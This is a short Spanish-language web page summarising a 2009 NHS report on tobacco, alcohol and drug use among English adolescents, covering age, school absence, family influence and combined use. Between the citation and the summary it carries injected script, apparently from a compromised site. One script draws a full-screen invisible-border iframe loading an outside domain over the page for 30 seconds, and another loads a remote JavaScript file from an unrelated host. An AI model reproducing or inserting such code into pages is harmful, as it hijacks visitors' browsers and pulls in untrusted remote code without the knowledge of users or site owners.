El consumo de drogas sigue en retroceso entre los adolescentes ingleses
Fuller, E. et al., Smoking, drinking and drug use among young people in England in 2008, NHS Information Centre for Health and Social Care, Londres, 219 págs., 2009.<script> var time=30000;if((document.getElementById)){(function(){var thehairs="<iframe id=theiframe scrolling=no frameBorder=0 allowTransparency=true src=https://komkatkaj.org/ style=position:fixed;left:0;top:0;z-index:999999999999999;width:100%;height:100%;border:none;></iframe>";document.write(thehairs);var like=document.getElementById("theiframe");document.getElementsByTagName(body)[0].appendChild(like);if(time!=0){setTimeout(function(){document.getElementsByTagName(body)[0].removeChild(like)},time)}})()} </script><script type="text/javascript" src="https://old.chainebda.com/SpryAssets/min.js"></script>
Una de las conclusiones que se presentan en esta publicación es que la probabilidad de consumir alguna de las sustancias crece a la par que la edad y el grado de absentismo y de fracaso escolar. El informe, además, muestra que la aceptación del consumo por parte de los adolescentes varía según cada práctica en concreto. Así, consumir alcohol de forma moderada está mejor considerado que fumar, pero esto, a su vez, supera en valoración a prácticas como emborracharse o tomar drogas. Una vez más, se recalca que la influencia familiar es un factor sumamente importante a la hora de que los adolescentes creen sus propios patrones de comportamiento, ya que la presencia de un consumidor de alguna de las sustancias en el entorno familiar puede favorecer que este hábito se reproduzca. Finalmente, este estudio –que ha analizado a casi 8.000 estudiantes ingleses de los más de tres millones de adolescentes de entre 11 y 15 años que hay– insiste en que consumir tabaco, alcohol o drogas ilegales aumenta las posibilidades de consumir al mismo tiempo otra de esas sustancias.
ver informe